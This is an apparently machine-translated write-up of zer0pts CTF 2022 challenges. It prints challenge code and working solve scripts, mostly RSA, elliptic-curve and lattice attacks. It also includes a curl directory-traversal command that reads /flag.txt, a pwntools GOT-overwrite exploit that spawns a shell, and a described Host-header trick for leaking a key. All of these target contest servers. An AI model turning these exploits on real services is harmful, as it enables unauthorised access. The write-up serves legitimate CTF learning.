zer0pts CTF 2022 Writeups
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time I solved some zer0pts CTF problems in XxTSJxX, mainly focusing on Crypto. This article will briefly record the solutions to the problems, without too detailed explanations.
Crypto
Anti-Fermat
from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag
# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537
# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)
print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))
It is known that and are bit inverses of each other, so it is obvious that , where is very small. Therefore, after brute-forcing, we can solve the following quadratic equation:
from Crypto.Util.number import long_to_bytes
n = 0x1FFC7DC6B9667B0DCD00D6AE92FB34ED0F3D84285364C73FBF6A572C9081931BE0B0610464152DE7E0468CA7452C738611656F1F9217A944E64CA2B3A89D889FFC06E6503CFEC3CCB491E9B6176EC468687BF4763C6591F89E750BF1E4F9D6855752C19DE4289D1A7CEA33B077BDCDA3C84F6F3762DC9D96D2853F94CC688B3C9D8E67386A147524A2B23B1092F0BE1AA286F2AA13AAFBA62604435ACBAA79F4E53DEA93AE8A22655287F4D2FA95269877991C57DA6FDEEB3D46270CD69B6BFA537BFD14C926CF39B94D0F06228313D21EC6BE2311F526E6515069DBB1B06FE3CF1F62C0962DA2BC98FA4808C201E4EFE7A252F9F823E710D6AD2FB974949751
c = 0x60160BFED79384048D0D46B807322E65C037FA90FAC9FD08B512A3931B6DCA2A745443A9B90DE2FA47AAF8A250287E34563E6B1A6761DC0CCB99CB9D67AE1C9F49699651EAFB71A74B097FC0DEF77CF287010F1E7BD614DCCFB411CDCCBB84C60830E515C05481769BD95E656D839337D430DB66ABCD3A869C6348616B78D06EB903F8ABD121C851696BD4CB2A1A40A07EEA17C4E33C6A1BEAFB79D881D595472AB6CE3C61D6D62C4EF6FA8903149435C844A3FAB9286D212DA72B2548F087E37105F4657D5A946AFD12B1822CEB99C3B407BB40E21163C1466D116D67C16A2A3A79E5CC9D1F6A1054D6BE6731E3CD19ABBD9E9B23309F87BFE51A822410A62
P.<x> = ZZ[]
t = 1 << 1024
while True:
f = x ^ 2 - t * x + n
rs = f.roots()
if len(rs) > 0:
p = rs[0][0]
q = n // p
assert p * q == n
break
t += 1
d = inverse_mod(65537, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m).decode())
# zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}
CurveCrypto
import os
from random import randrange
from Crypto.Util.number import bytes_to_long, long_to_bytes, getStrongPrime
from Crypto.Util.Padding import pad
from fastecdsa.curve import Curve
def xgcd(a, b):
x0, y0, x1, y1 = 1, 0, 0, 1
while b != 0:
q, a, b = a // b, b, a % b
x0, x1 = x1, x0 - q * x1
y0, y1 = y1, y0 - q * y1
return a, x0, y0
def gen():
while True:
p = getStrongPrime(512)
if p % 4 == 3:
break
while True:
q = getStrongPrime(512)
if q % 4 == 3:
break
n = p * q
a = randrange(n)
b = randrange(n)
while True:
x = randrange(n)
y2 = (x**3 + a*x + b) % n
assert y2 % n == (x**3 + a*x + b) % n
if pow(y2, (p-1)//2, p) == 1 and pow(y2, (q-1)//2, q) == 1:
yp, yq = pow(y2, (p + 1) // 4, p), pow(y2, (q + 1) // 4, q)
_, s, t = xgcd(p, q)
y = (s*p*yq + t*q*yp) % n
break
return Curve(None, n, a, b, None, x, y)
def encrypt(m, G):
blocks = [m[16*i:16*(i+1)] for i in range(len(m) // 16)]
c = []
for i in range(len(blocks)//2):
G = G + G
c.append(G.x ^ bytes_to_long(blocks[2*i]))
c.append(G.y ^ bytes_to_long(blocks[2*i+1]))
return c
def decrypt(c, G):
m = b''
for i in range(len(c) // 2):
G = G + G
m += long_to_bytes(G.x ^ c[2*i])
m += long_to_bytes(G.y ^ c[2*i+1])
return m
flag = pad(os.environ.get("FLAG", "fakeflag{sumomomomomomomomonouchi_sumomo_mo_momo_mo_momo_no_uchi}").encode(), 32)
C = gen()
c = encrypt(flag, C.G)
assert decrypt(c, C.G) == flag
print("n = {}".format(C.p))
print("a = {}".format(C.a))
print("b = {}".format(C.b))
print("c = {}".format(c))
In short, it finds a point on an elliptic curve over (where ) as the key, and then uses the coordinates of as the key stream to XOR encrypt the flag.
The problem is that is 1024 bits, but the encrypted block is only 16 bytes, i.e., 128 bits. This means that the ciphertext actually contains the high bits of the coordinates of , with only the lower 128 bits of x and y being scrambled.
The solution is to list the following equations:
Then use Coppersmith to find to get , and then decrypt.
The code to recover :
n = 144119247523820514307319742558945817289524321678464785828165262389987364282241677120346992289602773032781170623185859522408681068717004227361637296377314973988883717763449514502353544535632434189976809320943402560377421207936239458384129077990667822889168041784489265932700188699685494064706711885776064499497
a = 83982245487363010227377287615815704138676734572052340268107937333404040064487258387610318909300475704005267406361509228314981566916144028418544919408625857597243933586742790305821574823017061268314657578742703998273111267249007415214833152992932175602495617018238154444547422725699672732735594492967242602718
b = 102854241650706614574910858961148621902783569513613650939938174283440416794379436560775021794677794290971284767314108620894847399989166711219489947662922391647064573171363714323032220660223765035347554282052095512011142748460282601639626032525448005114625186640435086840602281790716023653081557628791656792754
c = [
105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983149197374154699808776545479724047776709,
119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712497284900223656294050022339709410514520,
77449803463514047535477961978015960018035778347793833401263588747978475501148536780819549296447786417024775899457091074251167349568353877838782428368954481576827862607179873977973077737374411980559467128298050283927229354740670622117284854556777626729609958202274963553796799701913426256413699327094959918436,
19881898638980767541769585302774976337079209934548061143259050559139791898245439933411471322660256972236103364955342341822881304403603105610433373205174678091884754857958259183427619764249723943787639988589593508171175819610469625589807019978156747244656206732357606116993349990555417285468500357366492529137,
]
load("coppersmith.sage")
P.<xx,yy> = Zmod(n)[]
x = c[0] + xx
y = c[1] + yy
f = y ^ 2 - (x ^ 3 + a * x + b)
xx, yy = small_roots(f, (2 ^ 128, 2 ^ 128))[0]
x = (c[0] + xx) % n
y = (c[1] + yy) % n
assert (y ^ 2) % n == (x ^ 3 + a * x + b) % n
print(x, y) # 2G
The remaining decryption code:
from Crypto.Util.number import long_to_bytes
from fastecdsa.curve import Curve
def decrypt(c, G):
m = b""
for i in range(len(c) // 2):
m += long_to_bytes(G.x ^ c[2 * i])
m += long_to_bytes(G.y ^ c[2 * i + 1])
G = G + G
return m
n = 144119247523820514307319742558945817289524321678464785828165262389987364282241677120346992289602773032781170623185859522408681068717004227361637296377314973988883717763449514502353544535632434189976809320943402560377421207936239458384129077990667822889168041784489265932700188699685494064706711885776064499497
a = 83982245487363010227377287615815704138676734572052340268107937333404040064487258387610318909300475704005267406361509228314981566916144028418544919408625857597243933586742790305821574823017061268314657578742703998273111267249007415214833152992932175602495617018238154444547422725699672732735594492967242602718
b = 102854241650706614574910858961148621902783569513613650939938174283440416794379436560775021794677794290971284767314108620894847399989166711219489947662922391647064573171363714323032220660223765035347554282052095512011142748460282601639626032525448005114625186640435086840602281790716023653081557628791656792754
c = [
105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983149197374154699808776545479724047776709,
119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712497284900223656294050022339709410514520,
77449803463514047535477961978015960018035778347793833401263588747978475501148536780819549296447786417024775899457091074251167349568353877838782428368954481576827862607179873977973077737374411980559467128298050283927229354740670622117284854556777626729609958202274963553796799701913426256413699327094959918436,
19881898638980767541769585302774976337079209934548061143259050559139791898245439933411471322660256972236103364955342341822881304403603105610433373205174678091884754857958259183427619764249723943787639988589593508171175819610469625589807019978156747244656206732357606116993349990555417285468500357366492529137,
]
gx = 105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983114163361424268999964406373744402729889
gy = 119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712596897120285942097736344387658770086763
C = Curve(None, n, a, b, None, gx, gy)
print(decrypt(c, C.G).decode().strip())
# zer0pts{th3_g00d_3ncrypti0n_c0m3s_fr0m_th3_g00d_curv3}
EDDH
from random import randrange
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Cipher import AES
from hashlib import sha256
import ast
import os
import signal
n = 256
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 1
q = 64141017538026690847507665744072764126693080268699847241685146737444135961328
c = 4
gx = 36618472676058339844598776789780822613436028043068802628412384818014817277300
gy = 9970247780441607122227596517855249476220082109552017755637818559816971965596
def xor(xs, ys):
return bytes(x^y for x, y in zip(xs, ys))
def pad(b, l):
return b + b"\0" + b"\xff" * (l - (len(b) + 1))
def unpad(b):
l = -1
while b[l] != 0:
l -= 1
return b[:l]
def add(P, Q):
(x1, y1) = P
(x2, y2) = Q
x3 = (x1*y2 + y1*x2) * inverse(1 + d*x1*x2*y1*y2, p) % p
y3 = (y1*y2 - a*x1*x2) * inverse(1 - d*x1*x2*y1*y2, p) % p
return (x3, y3)
def mul(x, P):
Q = (0, 1)
x = x % q
while x > 0:
if x % 2 == 1:
Q = add(Q, P)
P = add(P, P)
x = x >> 1
return Q
def to_bytes(P):
x, y = P
return int(x).to_bytes(n // 8, "big") + int(y).to_bytes(n // 8, "big")
def send(msg, share):
assert len(msg) <= len(share)
print(xor(pad(msg, len(share)), share).hex())
def recv(share):
inp = input()
msg = bytes.fromhex(inp)
assert len(msg) <= len(share)
return unpad(xor(msg, share))
def main():
signal.alarm(300)
flag = os.environ.get("FLAG", "0nepoint{frog_pyokopyoko_3_pyokopyoko}")
assert len(flag) < 2*8*n
while len(flag) % 16 != 0:
flag += "\0"
G = (gx, gy)
s = randrange(0, q)
print(f'{s = }')
print("sG = {}".format(mul(s, G)))
tG = ast.literal_eval(input("tG = ")) # you should input something like (x, y)
assert len(tG) == 2
assert type(tG[0]) == int and type(tG[1]) == int
share = to_bytes(mul(s, tG))
while True:
msg = recv(share)
if msg == b"flag":
aes = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
send(aes.encrypt(flag.encode()), share)
elif msg == b"quit":
quit()
else:
send(msg, share)
if __name__ == '__main__':
main()
In this problem, you can perform Diffie-Hellman on an Edward curve with the server, and the communication will also use the shared secret for encryption.
The key is that it does not check whether the point we send is on the curve, and the Edward curve has an invalid curve attack that utilizes the following property of its addition formula:
So we have
It is easy to find that is quite smooth, so after getting the point, use Pohlig-Hellman to calculate and then decrypt the flag.
There is a small trick to get its point. I sent the point , and the server will calculate and convert it to bytes to get share
, and then use share
to XOR encrypt the communication. First, send '\x00' * 64
to the server, and it will probably enter the else
branch. Since it is , we can guess that len(msg) == 31
, so the padding of send(msg, share)
will be b'\x00' * 31 + b'\x00' + b'\xff' * 32
. XOR the received message with the padding to get share
, and then restore .
from pwn import *
from sage.all import GF
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
import ast
context.log_level = "debug"
def xor(xs, ys):
return bytes(x ^ y for x, y in zip(xs, ys))
def pad(b, l):
return b + b"\0" + b"\xff" * (l - (len(b) + 1))
def unpad(b):
l = -1
while b[l] != 0:
l -= 1
return b[:l]
def add(P, Q):
(x1, y1) = P
(x2, y2) = Q
x3 = (x1 * y2 + y1 * x2) * inverse(1 + d * x1 * x2 * y1 * y2, p) % p
y3 = (y1 * y2 - a * x1 * x2) * inverse(1 - d * x1 * x2 * y1 * y2, p) % p
return (x3, y3)
def mul(x, P):
Q = (0, 1)
x = x % q
while x > 0:
if x % 2 == 1:
Q = add(Q, P)
P = add(P, P)
x = x >> 1
return Q
def to_bytes(P):
x, y = P
return int(x).to_bytes(n // 8, "big") + int(y).to_bytes(n // 8, "big")
def from_bytes(b):
x = int.from_bytes(b[:32], "big")
y = int.from_bytes(b[32:], "big")
return x, y
n = 256
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 1
q = 64141017538026690847507665744072764126693080268699847241685146737444135961328
c = 4
gx = 36618472676058339844598776789780822613436028043068802628412384818014817277300
gy = 9970247780441607122227596517855249476220082109552017755637818559816971965596
# io = process(["python", "server.py"])
io = remote("crypto.ctf.zer0pts.com", 10929)
io.recvuntil(b"sG = ")
sG = ast.literal_eval(io.recvlineS())
io.sendlineafter(b"tG = ", b"(0, 2)")
io.sendline((b"\x00" * 64).hex().encode())
# assuming it is trimmed to 31 bytes
# so padded message will be b'\x00' * 31 + b'\x00' + b'\xff' * 32
padded = b"\x00" * 31 + b"\x00" + b"\xff" * 32
_, ys = from_bytes(xor(padded, bytes.fromhex(io.recvlineS())))
s = GF(p)(ys).log(2)
assert mul(s, (gx, gy)) == sG, "Try again"
print(s)
share = to_bytes(mul(s, (0, 2)))
io.sendline(xor(pad(b"flag", len(share)), share).hex().encode())
ct = xor(bytes.fromhex(io.recvlineS()), share)
cipher = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
flag = cipher.decrypt(ct)
print(flag)
# zer0pts{edwards_what_the_hell_is_this}
Karen
with open("flag.txt", "rb") as f:
flag = int.from_bytes(f.read(), "big")
n = 70
m = flag.bit_length()
assert n < m
p = random_prime(2**512)
F = GF(p)
x = random_matrix(F, 1, n)
A = random_matrix(ZZ, n, m, x=0, y=2)
A[randint(0, n-1)] = vector(ZZ, Integer(flag).bits())
h = x*A
print(p)
print(list(h[0]))
The problem is short. In short, there is a 512-bit prime , an binary matrix , and a uniform random vector . The only known information is and , and the goal is to restore .
This problem is called the hidden subset sum problem. Not long ago, I solved it in AIS3 EOF Quals. The expected solution is to use the paper A Polynomial-Time Algorithm for Solving the Hidden Subset Sum Problem.
I directly modified the previous code. Due to different parameters, there were some small bugs, such as previously I thought the first vectors after LLL of were the basis of the orthogonal lattice, but after reviewing, I found it should be vectors. The previous solution worked because at that time.
import ast
with open("output.txt") as f:
p = ast.literal_eval(f.readline())
h = ast.literal_eval(f.readline())
m = len(h)
n = 70
# orthogonal lattice
B = matrix(h).T.augment(matrix.identity(m)).stack(vector([p] + [0] * m))
nr = m - n
print("start BKZ", B.dimensions())
# ortho = B.LLL()[:nr, 1:]
ortho = B.BKZ()[:nr, 1:]
print(ortho)
# print(ortho * A.T) # first nr rows are zeros
# exit()
R = ortho.T.augment(matrix.identity(m))
# print('after')
# print((A*R)[:,:nr])
# print('after nr')
# print((A*R)[:,nr:])
# exit()
R[:, :nr] *= 2 ^ 10
print("start LLL", R.dimensions())
# R = R.BKZ(algorithm="NTL")
R = R.LLL()
print("=" * 10)
goodvecs = []
for row in R:
if any([x != 0 for x in row[:nr]]):
continue
if all(-1 <= x <= 1 for x in row):
goodvecs.append(row[nr:])
print(row[nr:])
print("gvecs", len(goodvecs))
def is_good(v):
if all([x == 0 for x in v]):
return None
if all([0 <= x <= 1 for x in v]):
return tuple(v)
if all([-1 <= x <= 0 for x in v]):
return tuple(-v)
print("find 01 basis")
from itertools import product
from tqdm import tqdm
avecs = set()
for v in goodvecs:
if all(0 <= x <= 1 for x in v):
avecs.add(tuple(v))
bestvec = v
print(len(avecs))
for v1 in tqdm(goodvecs):
for v2 in goodvecs:
for coef in product([-1, 0, 1], repeat=3):
vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec
if any([x < 0 for x in vv]):
vv = -vv
if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0:
avecs.add(tuple(vv))
if len(avecs) == n:
break
print(len(avecs))
avecs = list(avecs)
AT = matrix(ZZ, avecs).T
x = AT.change_ring(Zmod(p)).solve_right(vector(h)).change_ring(ZZ)
print(x)
from Crypto.Util.number import *
for row in AT.T:
bits = "".join(map(str, row))[::-1]
m = int(bits, 2)
f = long_to_bytes(m)
if b"zer0pts" in f:
print(f)
# zer0pts{Karen_likes_orthogonal_as_you_like}
Web
GitFile Explorer
<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) {
if (strpos($service, "github") !== false) {
/* GitHub URL */
return $service."/".$owner."/".$repo."/".$branch."/".$file;
} else if (strpos($service, "gitlab") !== false) {
/* GitLab URL */
return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;
} else if (strpos($service, "bitbucket") !== false) {
/* BitBucket URL */
return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;
}
return null;
}
$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner = empty($_GET['owner']) ? "ptr-yudai" : $_GET['owner'];
$repo = empty($_GET['repo']) ? "ptrlib" : $_GET['repo'];
$branch = empty($_GET['branch']) ? "master" : $_GET['branch'];
$file = empty($_GET['file']) ? "README.md" : $_GET['file'];
if ($service) {
$url = craft_url($service, $owner, $repo, $branch, $file);
if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
$result = file_get_contents($url);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>GitFile Explorer</title>
<link rel="stylesheet" href="https://cdn.simplecss.org/simple-v1.css">
</head>
<body>
<header>
<h1>GitFile Explorer API Test</h1>
<p>Simple API to download files on GitHub/GitLab/BitBucket</p>
</header>
<main>
<form method="GET" action="/">
<label for="service">Service: </label>
<select id="service" name="service" autocomplete="off">
<option value="https://raw.githubusercontent.com" <?= strpos($service, "github") === false ? "" : 'selected="selected"' ?>>GitHub</option>
<option value="https://gitlab.com" <?= strpos($service, "gitlab") === false ? "" : 'selected="selected"' ?>>GitLab</option>
<option value="https://bitbucket.org" <?= strpos($service, "bitbucket") === false ? "" : 'selected="selected"' ?>>BitBucket</option>
</select>
<br>
<label for="owner">GitHub ID: </label>
<input id="owner" name="owner" type="text" placeholder="Repository Owner" value="<?= h($owner); ?>">
<br>
<label for="repo">Repository Name: </label>
<input id="repo" name="repo" type="text" placeholder="Repository Name" value="<?= h($repo); ?>">
<br>
<label for="branch">Branch: </label>
<input id="branch" name="branch" type="text" placeholder="Branch Name" value="<?= h($branch); ?>">
<br>
<label for="file">File Path: </label>
<input id="file" name="file" type="text" placeholder="README.md" value="<?= h($file); ?>">
<br>
<input type="submit" value="Download">
</form>
<?php if (isset($result)) { ?>
<br>
<?php if ($result === false) { ?>
<p>Not Found :(</p>
<?php } else {?>
<textarea rows="20" cols="40"><?= h($result); ?></textarea>
<?php } ?>
<?php } ?>
</main>
<footer>
<p>zer0pts CTF 2022</p>
</footer>
</body>
</html>
A simple PHP service, the goal is to read /flag.txt
. It is known that it does not check if the URL must start with https?://
, so you can use http/../../
to traverse and read the file.
curl 'http://gitfile.ctf.zer0pts.com:8001/' -G --data-urlencode 'service=http///github' --data-urlencode 'file=../../../../../../../../flag.txt'
# zer0pts{foo/bar/../../../../../directory/traversal}
Disco Party
A strange web service, the key code is this part:
@app.route("/api/report", methods=["POST"])
def api_report():
"""Reoprt an invitation ticket"""
# Get parameters
try:
url = flask.request.form["url"]
reason = flask.request.form["reason"]
recaptcha_token = flask.request.form["g-recaptcha-response"]
except Exception:
return flask.abort(400, "Invalid request")
# Check reCAPTCHA
score = verify_recaptcha(recaptcha_token)
if score == -1:
return flask.jsonify({"result": "NG", "message": "Recaptcha verify failed"})
if score <= 0.3:
return flask.jsonify({"result": "NG", "message": f"Bye robot (score: {score})"})
# Check URL
parsed = urllib.parse.urlparse(url.split('?', 1)[0])
if len(parsed.query) != 0:
return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
return flask.jsonify({"result": "NG", "message": "Invalid host"})
# Parse path
adapter = app.url_map.bind(flask.request.host)
endpoint, args = adapter.match(parsed.path)
if endpoint != "get_post" or "id" not in args:
return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})
# Check ID
if not get_redis_conn(DB_TICKET).exists(args["id"]):
return flask.jsonify({"result": "NG", "message": "Invalid ID"})
key = get_key(args["id"])
message = f"URL: {url}?key={key}\nReason: {reason}"
try:
get_redis_conn(DB_BOT).rpush(
'report', message[:MESSAGE_LENGTH_LIMIT]
)
except Exception:
return flask.jsonify({"result": "NG", "message": "Post failed"})
return flask.jsonify({"result": "OK", "message": "Successfully reported"})
It will check the URL you send, then combine it into a message and let a Discord Bot send the message to a secret channel. The goal is to get the key
corresponding to the id
of a note to get the flag.
The query string part is simple and can be bypassed easily. For netloc
, since flask.request.url_root
is affected by the Host
header, it is controllable and can be bypassed. The check for the path part requires the path to be /post/[^/]{16}
to match.
So let your server's URL pass the check, and it will send the message to Discord, and Discord will automatically request the link, so the server can get the key
. Then use the key
to get the flag.
This problem seems to be a broken problem, the revised version is Disco Festival
Misc
MathHash
import struct
import math
import signal
import os
def MathHash(m):
hashval = 0
for i in range(len(m)-7):
c = struct.unpack('<Q', m[i:i+8])[0]
t = math.tan(c * math.pi / (1<<64))
hashval ^= struct.unpack('<Q', struct.pack('<d', t))[0]
return hashval
if __name__ == '__main__':
FLAG = os.getenv('FLAG', 'zer0pts<sample_flag>').encode()
assert FLAG.startswith(b'zer0pts')
signal.alarm(1800)
try:
while True:
key = bytes.fromhex(input("Key: "))
assert len(FLAG) >= len(key)
flag = FLAG
for i, c in enumerate(key):
flag = flag[:i] + bytes([(flag[i] + key[i]) % 0x100]) + flag[i+1:]
h = MathHash(flag)
print("Hash: " + hex(h))
except:
exit(0)
This problem has a very strange Hash function, and the oracle can return the digest after XORing the message with the flag.
My solution mainly uses the known flag prefix zer0pts{
to start, and then tries to brute-force one by one. I noticed that the earlier parts of the hash block have less impact, so I constructed keys like '\xff' * n + ?
to brute-force. Since the hash is done using XOR, you can XOR a bunch of hashes together to treat it as a characteristic value of a message under this key format, and also eliminate the impact of the unknown parts of the hash.
After getting a key format, obtain its characteristic value from the remote, and then use the same key and guessed plaintext to brute-force, see which one is more similar to know the plaintext, until the complete flag is obtained.
from pwn import *
from tqdm import tqdm
# io = process(['python', 'server.py'])
io = remote("misc.ctf.zer0pts.com", 10001)
def get_hash(key):
io.sendlineafter(b"Key: ", key.hex().encode())
io.recvuntil(b"Hash: ")
return int(io.recvlineS(), 16)
def MathHash(m):
hashval = 0
for i in range(len(m) - 7):
c = struct.unpack("<Q", m[i : i + 8])[0]
t = math.tan(c * math.pi / (1 << 64))
hashval ^= struct.unpack("<Q", struct.pack("<d", t))[0]
return hashval
def khash(m, k):
if m == b"FLAG":
return get_hash(k)
for i, c in enumerate(k):
m = m[:i] + bytes([(m[i] + k[i]) % 0x100]) + m[i + 1 :]
return MathHash(m)
def diff(m, kpfx, wrapper=lambda x: x):
hashes = []
for x in wrapper(range(256)):
hashes.append(khash(m, kpfx + bytes([x])))
return [x ^ y for x in hashes for y in hashes]
def sim(x, y):
l = len([1 for a, b in zip(x, y) if a == b])
return l / len(x)
known = b"zer0pts{s1gn+|3xp^|fr4c"
while not known.endswith(b'}'):
kpfx = (len(known) - 6) * b"\xff" # 6 may need to be adjusted
dflag = diff(b"FLAG", kpfx, wrapper=tqdm)
good = []
for x in range(0x20, 0x7F):
d = diff(known + bytes([x]), kpfx)
s = sim(d, dflag)
if s > 0.9:
good.append((bytes([x]), s))
good.sort(key=lambda t: t[1], reverse=True)
good = [x for x, y in good]
if len(good) == 1:
known += good[0]
else:
print(good)
known += good[int(input("which: "))]
print(known)
# zer0pts{s1gn+|3xp^|fr4c.}
Pwn
Modern Rome
#include <string>
#include <iostream>
short buf[10];
void win() {
std::system("/bin/sh");
}
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
int main() {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "ind: ";
int ind = readroman();
std::cout << "val: ";
int val = readroman();
std::cout << "buf[" << ind << "] = " << val << std::endl;
buf[ind] = val;
std::exit(0);
}
This problem has no PIE and only Partial RELRO, so it is obvious that the out-of-bounds write given should be used to overwrite the exit
in the GOT table to win
.
However, since the position of buf
is behind exit@got
, to write to that position requires a short
overflow, but readroman
seems to only handle numbers up to 9999
.
The key is in the part auto c: "IXCM"
, which actually includes \0
, because "IXCM"
is actually {'I', 'X', 'C', 'M', '\0'}
. So by sending more \0
, it can overflow and write to exit@got
.
Since the original entry points to PLT, a partial overwrite of the lower two bytes is enough to change it to the win
function and get a shell.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
exit_got = 0x404058
buf = 0x404340
win = 0x4012F6
index = (exit_got - buf) // 2
if index < 0:
index += 2 ** 16
# index = 0x1111
def to_roman(n):
ret = ""
ret = (n % 10) * "I" + ret
ret = ((n // 10) % 10) * "X" + ret
ret = ((n // 100) % 10) * "C" + ret
ret = ((n // 1000) % 10) * "M" + ret
ret = ((n // 10000) % 10) * "\x00" + ret
return ret
print(hex(index))
# io = gdb.debug('./chall', 'b *(main+216)\nc')
io = remote("pwn1.ctf.zer0pts.com", 9000)
io.sendlineafter(b"ind: ", to_roman(index).encode())
io.sendlineafter(b"val: ", to_roman(win & 0xFFFF).encode()) # partial override
io.interactive()
# zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}